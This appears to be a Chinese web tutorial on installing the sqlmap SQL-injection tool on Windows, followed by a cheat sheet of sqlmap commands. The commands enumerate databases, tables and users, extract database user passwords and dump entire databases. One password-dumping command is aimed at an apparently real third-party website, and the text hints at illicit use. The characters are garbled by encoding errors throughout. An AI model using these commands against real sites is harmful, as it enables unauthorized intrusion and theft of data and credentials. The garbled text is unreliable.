win下安裝sqlmap的方法分享

為方便大家使用,腳本之家已經(jīng)為大家封裝了一個版本,下載地址 http://www.dbjr.com.cn/softs/63591.html
1、首先下載SqlMap 點(diǎn)擊下載。
2、其次下載用于Windows系統(tǒng)的Python ……點(diǎn)擊這里……
3、然后安裝Python:
Python默認(rèn)安裝的路徑是“C:\Python”(你也可以修改安裝路徑,但要記住路徑),直接默認(rèn)安裝“下一步”OK …
4、解壓SqlMap.zip里面的文件…
5、找到你安裝python的目錄(對于我來說:C:\Python27中)
6、現(xiàn)在,在python文件夾中創(chuàng)建一個新的文件夾,并命名為“SqlMap”
7、然后把你剛才解壓的SqlMap中的文件全部復(fù)制到C:\Python27\sqlmap文件夾里面
8、最后在桌面空白處右鍵創(chuàng)建一個新的快捷方式:并命名為“Sqlmap”
9、點(diǎn)擊剛才創(chuàng)建好的Sqlmap快捷方式右鍵—在目標(biāo)欄輸入:%windir%\system32\cmd.exe
如圖:
創(chuàng)建好之后,運(yùn)行你剛才創(chuàng)建的SqlMap快捷方式 這樣就可以在WindowsXP運(yùn)行SqlMap了。
執(zhí)行命令:python sqlmap/sqlmap.py -help
具體的一些命令:
mssql access 直接爆表.然后你懂的
BT5里面的話前面就要加python
sqlmap.py -u url --dbs //爆數(shù)據(jù)庫
sqlmap.py -u url --current-db //爆當(dāng)前庫
sqlmap.py -u url --current-user //爆當(dāng)前用戶
sqlmap.py -u url --users 查看用戶權(quán)限
sqlmap.py -u url --tables -D 數(shù)據(jù)庫 //爆表段
sqlmap.py -u url --columns -T 表段 -D 數(shù)據(jù)庫 //爆字段
sqlmap.py -u url --dump -C 字段 -T 表段 -D 數(shù)據(jù)庫 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 數(shù)據(jù)庫 //猜解1到3的字段
翻回來也可以
sqlmap.py -u url 判斷
sqlmap.py -u url --is-dba -v 這是判斷當(dāng)前數(shù)據(jù)庫的使用者是否是dba
sqlmap.py -u url --users -v 0 這句的目的是列舉數(shù)據(jù)庫的用戶
sqlmap.py -u url --passwords -v 0 這句的目的是獲取數(shù)據(jù)庫用戶的密碼
sqlmap.py -u url --privileges -v 0 這是判斷當(dāng)前的權(quán)限
sqlmap.py -u url --dbs -v 0 這句的目的是將所有的數(shù)據(jù)庫列出來
sqlmap.py -u url --tables -D '表' 爆表
sqlmap.py -u url --columns -T ‘表’-D ‘數(shù)據(jù)庫’爆列
sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 這里是查詢第2到第4行的內(nèi)
sqlmap.py -u url --dump -all -v 0
這兒我們將所有的庫導(dǎo)出來,我想這就是前段時間盛傳的脫褲吧,在執(zhí)行這項(xiàng)操作的時候,會把所有的表里的內(nèi)容導(dǎo)入到當(dāng)前的一個目錄下,看著清楚明了,但是花費(fèi)的時間和很長。
sqlmap -u "http://www.newwide.com/newsphp?class=news&id=5&page=1&catalog_id=2" --users --password 爆用戶密碼
相關(guān)文章
常見路由器初始密碼復(fù)位方法及默認(rèn)密碼大全(TP-LINK,D-LINK)
路由用久了,常常忘記密碼。方法除了復(fù)位之外還有默認(rèn)的密碼,給大家共享一下2012-05-11無線路由器(WIFI網(wǎng)絡(luò))的輻射會對人體到底有沒有傷害
不論是筆記本還是手機(jī),現(xiàn)在幾乎離不開無線網(wǎng)絡(luò),那到底這些無線網(wǎng)絡(luò)對身體有沒有輻射傷害呢。下面我們來科普一下2012-05-11用手機(jī)當(dāng)無線路由器 無線AP 手機(jī)無線熱點(diǎn)的設(shè)置方法(圖文)
手機(jī)能上網(wǎng)?沒什么奇怪的,現(xiàn)在是共享的年代,我們要把手機(jī)也當(dāng)無線路由器,用來給其它的設(shè)備,比如手機(jī),本本上網(wǎng)。這對于出差在外時上網(wǎng)比較方便。流量多的話。也可以共2012-05-11- bt4破解軟件(backtrack4)是一款完全免費(fèi)的便攜linux系統(tǒng),也是bt4的中文版本。它是目前網(wǎng)絡(luò)上最著名的攻擊平臺,能夠非常方便的破解無線網(wǎng)絡(luò)密碼2013-04-14
百度衛(wèi)士怎么卸不掉?百度衛(wèi)士2種卸載方法
百度衛(wèi)士是百度推出的安全軟件,有時候這個殺毒軟件或安全軟件卸載起來真的比較麻煩,甚至無法卸載,怎么也刪除不掉。百度衛(wèi)士卸不掉刪不掉怎么處理呢?2014-07-07無線路由器當(dāng)無線AP(無線交換機(jī),無線熱點(diǎn))的設(shè)置方法
無線路由除了可以發(fā)射無線信號以外,也可以當(dāng)作一個無線交換機(jī)來用。用來接收其它的無線路由的信號,再發(fā)射出去,相當(dāng)方便??梢园匆韵碌姆椒ㄔO(shè)置。2012-05-11- tgp項(xiàng)目專項(xiàng)小組針對TGP在啟動時出現(xiàn)的閃退的問題進(jìn)行了專項(xiàng)跟蹤,我們發(fā)現(xiàn):80%閃退問題的是由于360安全衛(wèi)士導(dǎo)致的TGP崩潰2014-09-01
- 最近小編公司的wifi停掉了。。小編就想辦法有沒有什么軟路由讓臺式機(jī)擁有wifi信號,小編的同事發(fā)了一張截圖,盡然是金山毒霸出的一款軟路由——毒霸免費(fèi)wifi2013-09-10
手機(jī)怎么遠(yuǎn)程控制電腦?向日葵遠(yuǎn)程控制軟件讓你出門在外一樣控制家里的
當(dāng)我們出門在外時,有急事,但電腦又不在家,怎么控制家里的電腦呢?一起來看看下面的教程吧2016-09-08